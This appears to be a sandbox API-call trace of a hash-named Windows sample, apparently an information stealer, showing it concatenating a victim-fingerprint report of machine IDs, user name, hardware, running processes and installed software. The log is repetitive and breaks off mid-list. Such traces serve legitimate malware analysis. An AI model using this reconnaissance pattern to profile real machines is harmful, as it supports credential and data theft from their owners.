yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [", lpString2="12.0.21005" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005"
[0054.950] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]"
[0054.950] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- 